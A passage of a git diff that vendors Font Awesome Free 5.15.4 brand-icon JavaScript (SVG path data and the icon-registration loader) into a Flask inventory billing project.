20.69l21.73 17.02 11.53-37.71zM318.43 67.07c-58.4 0-106.05 12.05-114.96 14.4v.79c8.38 2.09 14.4 4.19 21.21 11.78l1.57.26c6.55-1.83 48.97-13.88 110.24-13.88 180.16 0 301.67 116.79 301.67 223.37v9.95c0 1.31.79 2.62 1.05.52.52-2.09.79-8.64.79-19.64.26-83.79-96.63-227.55-321.57-227.55zm211.06 169.68c1.31-5.76 0-12.31-7.33-13.09-9.62-1.13-16.14 23.79-17.02 33.52-.79 5.5-1.31 14.93 6.02 14.93 4.68-.01 9.72-.91 18.33-35.36zm-61.53 42.95c-2.62-.79-9.43-.79-12.57 10.47-1.83 6.81.52 13.35 6.02 14.66 3.67 1.05 8.9.52 11.78-10.74 2.62-9.94-1.83-13.61-5.23-14.39zM491 300.65c1.83.52 3.14 1.05 5.76 1.83 0-1.83.52-8.38.79-12.05-1.05 1.31-5.5 8.12-6.55 9.95v.27z"], + "wodu": [640, 512, [], "e088", "M178.414 339.706H141.1L112.166 223.475h-.478L83.228 339.706H45.2L0 168.946H37.548L64.574 285.177h.478L94.707 168.946h35.157l29.178 117.667h.479L187.5 168.946h36.831zM271.4 212.713c38.984 0 64.1 25.828 64.1 65.291 0 39.222-25.111 65.05-64.1 65.05-38.743 0-63.855-25.828-63.855-65.05C207.547 238.541 232.659 212.713 271.4 212.713zm0 104.753c23.2 0 30.133-19.852 30.133-39.462 0-19.852-6.934-39.7-30.133-39.7-27.7 0-29.894 19.85-29.894 39.7C241.508 297.614 248.443 317.466 271.4 317.466zM435.084 323.922h-.478c-7.893 13.392-21.765 19.132-37.548 19.132-37.31 0-55.485-32.045-55.485-66.246 0-33.243 18.415-64.095 54.767-64.095 14.589 0 28.938 6.218 36.831 18.416h.24V168.946h33.96v170.76H435.084zM405.428 238.3c-22.24 0-29.894 19.134-29.894 39.463 0 19.371 8.848 39.7 29.894 39.7 22.482 0 29.178-19.613 29.178-39.94C434.606 257.436 427.432 238.3 405.428 238.3zM592.96 339.706H560.673V322.487h-.718c-8.609 13.87-23.436 20.567-37.786 20.567-36.113 0-45.2-20.328-45.2-50.941V216.061h33.959V285.9c0 20.329 5.979 30.372 21.765 30.372 18.415 0 26.306-10.283 26.306-35.393V216.061H592.96zM602.453 302.876H640v36.83H602.453z"], + "wolf-pack-battalion": [512, 512, [], "f514", "M267.73 471.53l10.56 15.84 5.28-12.32 5.28 7V512c21.06-7.92 21.11-66.86 25.51-97.21 4.62-31.89-.88-92.81 81.37-149.11-8.88-23.61-12-49.43-2.64-80.05C421 189 447 196.21 456.43 239.73l-30.35 8.36c11.15 23 17 46.76 13.2 72.14L412 313.18l-6.16 33.43-18.47-7-8.8 33.39-19.35-7 26.39 21.11 8.8-28.15L419 364.2l7-35.63 26.39 14.52c.25-20 7-58.06-8.8-84.45l26.39 5.28c4-22.07-2.38-39.21-7.92-56.74l22.43 9.68c-.44-25.07-29.94-56.79-61.58-58.5-20.22-1.09-56.74-25.17-54.1-51.9 2-19.87 17.45-42.62 43.11-49.7-44 36.51-9.68 67.3 5.28 73.46 4.4-11.44 17.54-69.08 0-130.2-40.39 22.87-89.65 65.1-93.2 147.79l-58 38.71-3.52 93.25L369.78 220l7 7-17.59 3.52-44 38.71-15.84-5.28-28.1 49.25-3.52 119.64 21.11 15.84-32.55 15.84-32.55-15.84 21.11-15.84-3.52-119.64-28.15-49.26-15.84 5.28-44-38.71-17.58-3.51 7-7 107.33 59.82-3.52-93.25-58.06-38.71C185 65.1 135.77 22.87 95.3 0c-17.54 61.12-4.4 118.76 0 130.2 15-6.16 49.26-36.95 5.28-73.46 25.66 7.08 41.15 29.83 43.11 49.7 2.63 26.74-33.88 50.81-54.1 51.9-31.65 1.72-61.15 33.44-61.59 58.51l22.43-9.68c-5.54 17.53-11.91 34.67-7.92 56.74l26.39-5.28c-15.76 26.39-9.05 64.43-8.8 84.45l26.39-14.52 7 35.63 24.63-5.28 8.8 28.15L153.35 366 134 373l-8.8-33.43-18.47 7-6.16-33.43-27.27 7c-3.82-25.38 2-49.1 13.2-72.14l-30.35-8.36c9.4-43.52 35.47-50.77 63.34-54.1 9.36 30.62 6.24 56.45-2.64 80.05 82.25 56.3 76.75 117.23 81.37 149.11 4.4 30.35 4.45 89.29 25.51 97.21v-29.83l5.28-7 5.28 12.32 10.56-15.84 11.44 21.11 11.43-21.1zm79.17-95L331.06 366c7.47-4.36 13.76-8.42 19.35-12.32-.6 7.22-.27 13.84-3.51 22.84zm28.15-49.26c-.4 10.94-.9 21.66-1.76 31.67-7.85-1.86-15.57-3.8-21.11-7 8.24-7.94 15.55-16.32 22.87-24.68zm24.63 5.28c0-13.43-2.05-24.21-5.28-33.43a235 235 0 0 1-18.47 27.27zm3.52-80.94c19.44 12.81 27.8 33.66 29.91 56.3-12.32-4.53-24.63-9.31-36.95-10.56 5.06-12 6.65-28.14 7-45.74zm-1.76-45.74c.81 14.3 1.84 28.82 1.76 42.23 19.22-8.11 29.78-9.72 44-14.08-10.61-18.96-27.2-25.53-45.76-28.16zM165.68 376.52L181.52 366c-7.47-4.36-13.76-8.42-19.35-12.32.6 7.26.27 13.88 3.51 22.88zm-28.15-49.26c.4 10.94.9 21.66 1.76 31.67 7.85-1.86 15.57-3.8 21.11-7-8.24-7.93-15.55-16.31-22.87-24.67zm-24.64 5.28c0-13.43 2-24.21 5.28-33.43a235 235 0 0 0 18.47 27.27zm-3.52-80.94c-19.44 12.81-27.8 33.66-29.91 56.3 12.32-4.53 24.63-9.31 37-10.56-5-12-6.65-28.14-7-45.74zm1.76-45.74c-.81 14.3-1.84 28.82-1.76 42.23-19.22-8.11-29.78-9.72-44-14.08 10.63-18.95 27.23-25.52 45.76-28.15z"], + "wordpress": [512, 512, [], "f19a", "M61.7 169.4l101.5 278C92.2 413 43.3 340.2 43.3 256c0-30.9 6.6-60.1 18.4-86.6zm337.9 75.9c0-26.3-9.4-44.5-17.5-58.7-10.8-17.5-20.9-32.4-20.9-49.9 0-19.6 14.8-37.8 35.7-37.8.9 0 1.8.1 2.8.2-37.9-34.7-88.3-55.9-143.7-55.9-74.3 0-139.7 38.1-177.8 95.9 5 .2 9.7.3 13.7.3 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l77.5 230.4L249.8 247l-33.1-90.8c-11.5-.7-22.3-2-22.3-2-11.5-.7-10.1-18.2 1.3-17.5 0 0 35.1 2.7 56 2.7 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l76.9 228.7 21.2-70.9c9-29.4 16-50.5 16-68.7zm-139.9 29.3l-63.8 185.5c19.1 5.6 39.2 8.7 60.1 8.7 24.8 0 48.5-4.3 70.6-12.1-.6-.9-1.1-1.9-1.5-2.9l-65.4-179.2zm183-120.7c.9 6.8 1.4 14 1.4 21.9 0 21.6-4 45.8-16.2 76.2l-65 187.9C426.2 403 468.7 334.5 468.7 256c0-37-9.4-71.8-26-102.1zM504 256c0 136.8-111.3 248-248 248C119.2 504 8 392.7 8 256 8 119.2 119.2 8 256 8c136.7 0 248 111.2 248 248zm-11.4 0c0-130.5-106.2-236.6-236.6-236.6C125.5 19.4 19.4 125.5 19.4 256S125.6 492.6 256 492.6c130.5 0 236.6-106.1 236.6-236.6z"], + "wordpress-simple": [512, 512, [], "f411", "M256 8C119.3 8 8 119.2 8 256c0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33 256c0-32.3 6.9-63 19.3-90.7l106.4 291.4C84.3 420.5 33 344.2 33 256zm223 223c-21.9 0-43-3.2-63-9.1l66.9-194.4 68.5 187.8c.5 1.1 1 2.1 1.6 3.1-23.1 8.1-48 12.6-74 12.6zm30.7-327.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-21.9 0-58.7-2.8-58.7-2.8-12-.7-13.4 17.7-1.4 18.4 0 0 11.4 1.4 23.4 2.1l34.7 95.2L200.6 393l-81.2-241.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-4.2 0-9.1-.1-14.4-.3C109.6 73 178.1 33 256 33c58 0 110.9 22.2 150.6 58.5-1-.1-1.9-.2-2.9-.2-21.9 0-37.4 19.1-37.4 39.6 0 18.4 10.6 33.9 21.9 52.3 8.5 14.8 18.4 33.9 18.4 61.5 0 19.1-7.3 41.2-17 72.1l-22.2 74.3-80.7-239.6zm81.4 297.2l68.1-196.9c12.7-31.8 17-57.2 17-79.9 0-8.2-.5-15.8-1.5-22.9 17.4 31.8 27.3 68.2 27.3 107 0 82.3-44.6 154.1-110.9 192.7z"], + "wpbeginner": [512, 512, [], "f297", "M462.799 322.374C519.01 386.682 466.961 480 370.944 480c-39.602 0-78.824-17.687-100.142-50.04-6.887.356-22.702.356-29.59 0C219.848 462.381 180.588 480 141.069 480c-95.49 0-148.348-92.996-91.855-157.626C-29.925 190.523 80.479 32 256.006 32c175.632 0 285.87 158.626 206.793 290.374zm-339.647-82.972h41.529v-58.075h-41.529v58.075zm217.18 86.072v-23.839c-60.506 20.915-132.355 9.198-187.589-33.971l.246 24.897c51.101 46.367 131.746 57.875 187.343 32.913zm-150.753-86.072h166.058v-58.075H189.579v58.075z"], + "wpexplorer": [512, 512, [], "f2de", "M512 256c0 141.2-114.7 256-256 256C114.8 512 0 397.3 0 256S114.7 0 256 0s256 114.7 256 256zm-32 0c0-123.2-100.3-224-224-224C132.5 32 32 132.5 32 256s100.5 224 224 224 224-100.5 224-224zM160.9 124.6l86.9 37.1-37.1 86.9-86.9-37.1 37.1-86.9zm110 169.1l46.6 94h-14.6l-50-100-48.9 100h-14l51.1-106.9-22.3-9.4 6-14 68.6 29.1-6 14.3-16.5-7.1zm-11.8-116.3l68.6 29.4-29.4 68.3L230 246l29.1-68.6zm80.3 42.9l54.6 23.1-23.4 54.3-54.3-23.1 23.1-54.3z"], + "wpforms": [448, 512, [], "f298", "M448 75.2v361.7c0 24.3-19 43.2-43.2 43.2H43.2C19.3 480 0 461.4 0 436.8V75.2C0 51.1 18.8 32 43.2 32h361.7c24 0 43.1 18.8 43.1 43.2zm-37.3 361.6V75.2c0-3-2.6-5.8-5.8-5.8h-9.3L285.3 144 224 94.1 162.8 144 52.5 69.3h-9.3c-3.2 0-5.8 2.8-5.8 5.8v361.7c0 3 2.6 5.8 5.8 5.8h361.7c3.2.1 5.8-2.7 5.8-5.8zM150.2 186v37H76.7v-37h73.5zm0 74.4v37.3H76.7v-37.3h73.5zm11.1-147.3l54-43.7H96.8l64.5 43.7zm210 72.9v37h-196v-37h196zm0 74.4v37.3h-196v-37.3h196zm-84.6-147.3l64.5-43.7H232.8l53.9 43.7zM371.3 335v37.3h-99.4V335h99.4z"], + "wpressr": [496, 512, [], "f3e4", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm171.33 158.6c-15.18 34.51-30.37 69.02-45.63 103.5-2.44 5.51-6.89 8.24-12.97 8.24-23.02-.01-46.03.06-69.05-.05-5.12-.03-8.25 1.89-10.34 6.72-10.19 23.56-20.63 47-30.95 70.5-1.54 3.51-4.06 5.29-7.92 5.29-45.94-.01-91.87-.02-137.81 0-3.13 0-5.63-1.15-7.72-3.45-11.21-12.33-22.46-24.63-33.68-36.94-2.69-2.95-2.79-6.18-1.21-9.73 8.66-19.54 17.27-39.1 25.89-58.66 12.93-29.35 25.89-58.69 38.75-88.08 1.7-3.88 4.28-5.68 8.54-5.65 14.24.1 28.48.02 42.72.05 6.24.01 9.2 4.84 6.66 10.59-13.6 30.77-27.17 61.55-40.74 92.33-5.72 12.99-11.42 25.99-17.09 39-3.91 8.95 7.08 11.97 10.95 5.6.23-.37-1.42 4.18 30.01-67.69 1.36-3.1 3.41-4.4 6.77-4.39 15.21.08 30.43.02 45.64.04 5.56.01 7.91 3.64 5.66 8.75-8.33 18.96-16.71 37.9-24.98 56.89-4.98 11.43 8.08 12.49 11.28 5.33.04-.08 27.89-63.33 32.19-73.16 2.02-4.61 5.44-6.51 10.35-6.5 26.43.05 52.86 0 79.29.05 12.44.02 13.93-13.65 3.9-13.64-25.26.03-50.52.02-75.78.02-6.27 0-7.84-2.47-5.27-8.27 5.78-13.06 11.59-26.11 17.3-39.21 1.73-3.96 4.52-5.79 8.84-5.78 23.09.06 25.98.02 130.78.03 6.08-.01 8.03 2.79 5.62 8.27z"], + "xbox": [512, 512, [], "f412", "M369.9 318.2c44.3 54.3 64.7 98.8 54.4 118.7-7.9 15.1-56.7 44.6-92.6 55.9-29.6 9.3-68.4 13.3-100.4 10.2-38.2-3.7-76.9-17.4-110.1-39C93.3 445.8 87 438.3 87 423.4c0-29.9 32.9-82.3 89.2-142.1 32-33.9 76.5-73.7 81.4-72.6 9.4 2.1 84.3 75.1 112.3 109.5zM188.6 143.8c-29.7-26.9-58.1-53.9-86.4-63.4-15.2-5.1-16.3-4.8-28.7 8.1-29.2 30.4-53.5 79.7-60.3 122.4-5.4 34.2-6.1 43.8-4.2 60.5 5.6 50.5 17.3 85.4 40.5 120.9 9.5 14.6 12.1 17.3 9.3 9.9-4.2-11-.3-37.5 9.5-64 14.3-39 53.9-112.9 120.3-194.4zm311.6 63.5C483.3 127.3 432.7 77 425.6 77c-7.3 0-24.2 6.5-36 13.9-23.3 14.5-41 31.4-64.3 52.8C367.7 197 427.5 283.1 448.2 346c6.8 20.7 9.7 41.1 7.4 52.3-1.7 8.5-1.7 8.5 1.4 4.6 6.1-7.7 19.9-31.3 25.4-43.5 7.4-16.2 15-40.2 18.6-58.7 4.3-22.5 3.9-70.8-.8-93.4zM141.3 43C189 40.5 251 77.5 255.6 78.4c.7.1 10.4-4.2 21.6-9.7 63.9-31.1 94-25.8 107.4-25.2-63.9-39.3-152.7-50-233.9-11.7-23.4 11.1-24 11.9-9.4 11.2z"], + "xing": [384, 512, [], "f168", "M162.7 210c-1.8 3.3-25.2 44.4-70.1 123.5-4.9 8.3-10.8 12.5-17.7 12.5H9.8c-7.7 0-12.1-7.5-8.5-14.4l69-121.3c.2 0 .2-.1 0-.3l-43.9-75.6c-4.3-7.8.3-14.1 8.5-14.1H100c7.3 0 13.3 4.1 18 12.2l44.7 77.5zM382.6 46.1l-144 253v.3L330.2 466c3.9 7.1.2 14.1-8.5 14.1h-65.2c-7.6 0-13.6-4-18-12.2l-92.4-168.5c3.3-5.8 51.5-90.8 144.8-255.2 4.6-8.1 10.4-12.2 17.5-12.2h65.7c8 0 12.3 6.7 8.5 14.1z"], + "xing-square": [448, 512, [], "f169", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM140.4 320.2H93.8c-5.5 0-8.7-5.3-6-10.3l49.3-86.7c.1 0 .1-.1 0-.2l-31.4-54c-3-5.6.2-10.1 6-10.1h46.6c5.2 0 9.5 2.9 12.9 8.7l31.9 55.3c-1.3 2.3-18 31.7-50.1 88.2-3.5 6.2-7.7 9.1-12.6 9.1zm219.7-214.1L257.3 286.8v.2l65.5 119c2.8 5.1.1 10.1-6 10.1h-46.6c-5.5 0-9.7-2.9-12.9-8.7l-66-120.3c2.3-4.1 36.8-64.9 103.4-182.3 3.3-5.8 7.4-8.7 12.5-8.7h46.9c5.7-.1 8.8 4.7 6 10z"], + "y-combinator": [448, 512, [], "f23b", "M448 32v448H0V32h448zM236 287.5L313.5 142h-32.7L235 233c-4.7 9.3-9 18.3-12.8 26.8L210 233l-45.2-91h-35l76.7 143.8v94.5H236v-92.8z"], + "yahoo": [512, 512, [], "f19e", "M223.69,141.06,167,284.23,111,141.06H14.93L120.76,390.19,82.19,480h94.17L317.27,141.06Zm105.4,135.79a58.22,58.22,0,1,0,58.22,58.22A58.22,58.22,0,0,0,329.09,276.85ZM394.65,32l-93,223.47H406.44L499.07,32Z"], + "yammer": [512, 512, [], "f840", "M421.78 152.17A23.06 23.06 0 0 0 400.9 112c-.83.43-1.71.9-2.63 1.4-15.25 8.4-118.33 80.62-106.69 88.77s82.04-23.61 130.2-50zm0 217.17c-48.16-26.38-118.64-58.1-130.2-50s91.42 80.35 106.69 88.74c.92.51 1.8 1 2.63 1.41a23.07 23.07 0 0 0 20.88-40.15zM464.21 237c-.95 0-1.95-.06-3-.06-17.4 0-142.52 13.76-136.24 26.51s83.3 18.74 138.21 18.76a23 23 0 0 0 1-45.21zM31 96.65a24.88 24.88 0 0 1 46.14-18.4l81 205.06h1.21l77-203.53a23.52 23.52 0 0 1 44.45 15.27L171.2 368.44C152.65 415.66 134.08 448 77.91 448a139.67 139.67 0 0 1-23.81-1.95 21.31 21.31 0 0 1 6.9-41.77c.66.06 10.91.66 13.86.66 30.47 0 43.74-18.94 58.07-59.41z"], + "yandex": [256, 512, [], "f413", "M153.1 315.8L65.7 512H2l96-209.8c-45.1-22.9-75.2-64.4-75.2-141.1C22.7 53.7 90.8 0 171.7 0H254v512h-55.1V315.8h-45.8zm45.8-269.3h-29.4c-44.4 0-87.4 29.4-87.4 114.6 0 82.3 39.4 108.8 87.4 108.8h29.4V46.5z"], + "yandex-international": [320, 512, [], "f414", "M129.5 512V345.9L18.5 48h55.8l81.8 229.7L250.2 0h51.3L180.8 347.8V512h-51.3z"], + "yarn": [496, 512, [], "f7e3", "M393.9 345.2c-39 9.3-48.4 32.1-104 47.4 0 0-2.7 4-10.4 5.8-13.4 3.3-63.9 6-68.5 6.1-12.4.1-19.9-3.2-22-8.2-6.4-15.3 9.2-22 9.2-22-8.1-5-9-9.9-9.8-8.1-2.4 5.8-3.6 20.1-10.1 26.5-8.8 8.9-25.5 5.9-35.3.8-10.8-5.7.8-19.2.8-19.2s-5.8 3.4-10.5-3.6c-6-9.3-17.1-37.3 11.5-62-1.3-10.1-4.6-53.7 40.6-85.6 0 0-20.6-22.8-12.9-43.3 5-13.4 7-13.3 8.6-13.9 5.7-2.2 11.3-4.6 15.4-9.1 20.6-22.2 46.8-18 46.8-18s12.4-37.8 23.9-30.4c3.5 2.3 16.3 30.6 16.3 30.6s13.6-7.9 15.1-5c8.2 16 9.2 46.5 5.6 65.1-6.1 30.6-21.4 47.1-27.6 57.5-1.4 2.4 16.5 10 27.8 41.3 10.4 28.6 1.1 52.7 2.8 55.3.8 1.4 13.7.8 36.4-13.2 12.8-7.9 28.1-16.9 45.4-17 16.7-.5 17.6 19.2 4.9 22.2zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-79.3 75.2c-1.7-13.6-13.2-23-28-22.8-22 .3-40.5 11.7-52.8 19.2-4.8 3-8.9 5.2-12.4 6.8 3.1-44.5-22.5-73.1-28.7-79.4 7.8-11.3 18.4-27.8 23.4-53.2 4.3-21.7 3-55.5-6.9-74.5-1.6-3.1-7.4-11.2-21-7.4-9.7-20-13-22.1-15.6-23.8-1.1-.7-23.6-16.4-41.4 28-12.2.9-31.3 5.3-47.5 22.8-2 2.2-5.9 3.8-10.1 5.4h.1c-8.4 3-12.3 9.9-16.9 22.3-6.5 17.4.2 34.6 6.8 45.7-17.8 15.9-37 39.8-35.7 82.5-34 36-11.8 73-5.6 79.6-1.6 11.1 3.7 19.4 12 23.8 12.6 6.7 30.3 9.6 43.9 2.8 4.9 5.2 13.8 10.1 30 10.1 6.8 0 58-2.9 72.6-6.5 6.8-1.6 11.5-4.5 14.6-7.1 9.8-3.1 36.8-12.3 62.2-28.7 18-11.7 24.2-14.2 37.6-17.4 12.9-3.2 21-15.1 19.4-28.2z"], + "yelp": [384, 512, [], "f1e9", "M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z"], + "yoast": [448, 512, [], "f2b1", "M91.3 76h186l-7 18.9h-179c-39.7 0-71.9 31.6-71.9 70.3v205.4c0 35.4 24.9 70.3 84 70.3V460H91.3C41.2 460 0 419.8 0 370.5V165.2C0 115.9 40.7 76 91.3 76zm229.1-56h66.5C243.1 398.1 241.2 418.9 202.2 459.3c-20.8 21.6-49.3 31.7-78.3 32.7v-51.1c49.2-7.7 64.6-49.9 64.6-75.3 0-20.1.6-12.6-82.1-223.2h61.4L218.2 299 320.4 20zM448 161.5V460H234c6.6-9.6 10.7-16.3 12.1-19.4h182.5V161.5c0-32.5-17.1-51.9-48.2-62.9l6.7-17.6c41.7 13.6 60.9 43.1 60.9 80.5z"], + "youtube": [576, 512, [], "f167", "M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"], + "youtube-square": [448, 512, [], "f431", "M186.8 202.1l95.2 54.1-95.2 54.1V202.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-42 176.3s0-59.6-7.6-88.2c-4.2-15.8-16.5-28.2-32.2-32.4C337.9 128 224 128 224 128s-113.9 0-142.2 7.7c-15.7 4.2-28 16.6-32.2 32.4-7.6 28.5-7.6 88.2-7.6 88.2s0 59.6 7.6 88.2c4.2 15.8 16.5 27.7 32.2 31.9C110.1 384 224 384 224 384s113.9 0 142.2-7.7c15.7-4.2 28-16.1 32.2-31.9 7.6-28.5 7.6-88.1 7.6-88.1z"], + "zhihu": [640, 512, [], "f63f", "M170.54 148.13v217.54l23.43.01 7.71 26.37 42.01-26.37h49.53V148.13H170.54zm97.75 193.93h-27.94l-27.9 17.51-5.08-17.47-11.9-.04V171.75h72.82v170.31zm-118.46-94.39H97.5c1.74-27.1 2.2-51.59 2.2-73.46h51.16s1.97-22.56-8.58-22.31h-88.5c3.49-13.12 7.87-26.66 13.12-40.67 0 0-24.07 0-32.27 21.57-3.39 8.9-13.21 43.14-30.7 78.12 5.89-.64 25.37-1.18 36.84-22.21 2.11-5.89 2.51-6.66 5.14-14.53h28.87c0 10.5-1.2 66.88-1.68 73.44H20.83c-11.74 0-15.56 23.62-15.56 23.62h65.58C66.45 321.1 42.83 363.12 0 396.34c20.49 5.85 40.91-.93 51-9.9 0 0 22.98-20.9 35.59-69.25l53.96 64.94s7.91-26.89-1.24-39.99c-7.58-8.92-28.06-33.06-36.79-41.81L87.9 311.95c4.36-13.98 6.99-27.55 7.87-40.67h61.65s-.09-23.62-7.59-23.62v.01zm412.02-1.6c20.83-25.64 44.98-58.57 44.98-58.57s-18.65-14.8-27.38-4.06c-6 8.15-36.83 48.2-36.83 48.2l19.23 14.43zm-150.09-59.09c-9.01-8.25-25.91 2.13-25.91 2.13s39.52 55.04 41.12 57.45l19.46-13.73s-25.67-37.61-34.66-45.86h-.01zM640 258.35c-19.78 0-130.91.93-131.06.93v-101c4.81 0 12.42-.4 22.85-1.2 40.88-2.41 70.13-4 87.77-4.81 0 0 12.22-27.19-.59-33.44-3.07-1.18-23.17 4.58-23.17 4.58s-165.22 16.49-232.36 18.05c1.6 8.82 7.62 17.08 15.78 19.55 13.31 3.48 22.69 1.7 49.15.89 24.83-1.6 43.68-2.43 56.51-2.43v99.81H351.41s2.82 22.31 25.51 22.85h107.94v70.92c0 13.97-11.19 21.99-24.48 21.12-14.08.11-26.08-1.15-41.69-1.81 1.99 3.97 6.33 14.39 19.31 21.84 9.88 4.81 16.17 6.57 26.02 6.57 29.56 0 45.67-17.28 44.89-45.31v-73.32h122.36c9.68 0 8.7-23.78 8.7-23.78l.03-.01z"] + }; + + bunker(function () { + defineIcons('fab', icons); + }); + +}()); diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/brands.min.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/brands.min.js new file mode 100644 index 00000000..c2c44313 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/brands.min.js @@ -0,0 +1,515 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +!function() { + "use strict"; + var c = {}, l = {}; + try { + "undefined" != typeof window && (c = window), "undefined" != typeof document && (l = document); + } catch (c) {} + var z = (c.navigator || {}).userAgent, h = void 0 === z ? "" : z, m = c, v = l, a = (m.document, + !!v.documentElement && !!v.head && "function" == typeof v.addEventListener && v.createElement, + ~h.indexOf("MSIE") || h.indexOf("Trident/"), "___FONT_AWESOME___"), M = function() { + try { + return !1; + } catch (c) { + return !1; + } + }(); + var s = m || {}; + s[a] || (s[a] = {}), s[a].styles || (s[a].styles = {}), s[a].hooks || (s[a].hooks = {}), + s[a].shims || (s[a].shims = []); + var H = s[a]; + function V(c, h) { + var l = (2 < arguments.length && void 0 !== arguments[2] ? arguments[2] : {}).skipHooks, z = void 0 !== l && l, m = Object.keys(h).reduce(function(c, l) { + var z = h[l]; + return !!z.icon ? c[z.iconName] = z.icon : c[l] = z, c; + }, {}); + "function" != typeof H.hooks.addPack || z ? H.styles[c] = function(m) { + for (var c = 1; c < arguments.length; c++) { + var v = null != arguments[c] ? arguments[c] : {}, l = Object.keys(v); + "function" == typeof Object.getOwnPropertySymbols && (l = l.concat(Object.getOwnPropertySymbols(v).filter(function(c) { + return Object.getOwnPropertyDescriptor(v, c).enumerable; + }))), l.forEach(function(c) { + var l, z, h; + l = m, h = v[z = c], z in l ? Object.defineProperty(l, z, { + value: h, + enumerable: !0, + configurable: !0, + writable: !0 + }) : l[z] = h; + }); + } + return m; + }({}, H.styles[c] || {}, m) : H.hooks.addPack(c, m), "fas" === c && V("fa", h); + } + var e = { + "500px": [ 448, 512, [], "f26e", "M103.3 344.3c-6.5-14.2-6.9-18.3 7.4-23.1 25.6-8 8 9.2 43.2 49.2h.3v-93.9c1.2-50.2 44-92.2 97.7-92.2 53.9 0 97.7 43.5 97.7 96.8 0 63.4-60.8 113.2-128.5 93.3-10.5-4.2-2.1-31.7 8.5-28.6 53 0 89.4-10.1 89.4-64.4 0-61-77.1-89.6-116.9-44.6-23.5 26.4-17.6 42.1-17.6 157.6 50.7 31 118.3 22 160.4-20.1 24.8-24.8 38.5-58 38.5-93 0-35.2-13.8-68.2-38.8-93.3-24.8-24.8-57.8-38.5-93.3-38.5s-68.8 13.8-93.5 38.5c-.3.3-16 16.5-21.2 23.9l-.5.6c-3.3 4.7-6.3 9.1-20.1 6.1-6.9-1.7-14.3-5.8-14.3-11.8V20c0-5 3.9-10.5 10.5-10.5h241.3c8.3 0 8.3 11.6 8.3 15.1 0 3.9 0 15.1-8.3 15.1H130.3v132.9h.3c104.2-109.8 282.8-36 282.8 108.9 0 178.1-244.8 220.3-310.1 62.8zm63.3-260.8c-.5 4.2 4.6 24.5 14.6 20.6C306 56.6 384 144.5 390.6 144.5c4.8 0 22.8-15.3 14.3-22.8-93.2-89-234.5-57-238.3-38.2zM393 414.7C283 524.6 94 475.5 61 310.5c0-12.2-30.4-7.4-28.9 3.3 24 173.4 246 256.9 381.6 121.3 6.9-7.8-12.6-28.4-20.7-20.4zM213.6 306.6c0 4 4.3 7.3 5.5 8.5 3 3 6.1 4.4 8.5 4.4 3.8 0 2.6.2 22.3-19.5 19.6 19.3 19.1 19.5 22.3 19.5 5.4 0 18.5-10.4 10.7-18.2L265.6 284l18.2-18.2c6.3-6.8-10.1-21.8-16.2-15.7L249.7 268c-18.6-18.8-18.4-19.5-21.5-19.5-5 0-18 11.7-12.4 17.3L234 284c-18.1 17.9-20.4 19.2-20.4 22.6z" ], + "accessible-icon": [ 448, 512, [], "f368", "M423.9 255.8L411 413.1c-3.3 40.7-63.9 35.1-60.6-4.9l10-122.5-41.1 2.3c10.1 20.7 15.8 43.9 15.8 68.5 0 41.2-16.1 78.7-42.3 106.5l-39.3-39.3c57.9-63.7 13.1-167.2-74-167.2-25.9 0-49.5 9.9-67.2 26L73 243.2c22-20.7 50.1-35.1 81.4-40.2l75.3-85.7-42.6-24.8-51.6 46c-30 26.8-70.6-18.5-40.5-45.4l68-60.7c9.8-8.8 24.1-10.2 35.5-3.6 0 0 139.3 80.9 139.5 81.1 16.2 10.1 20.7 36 6.1 52.6L285.7 229l106.1-5.9c18.5-1.1 33.6 14.4 32.1 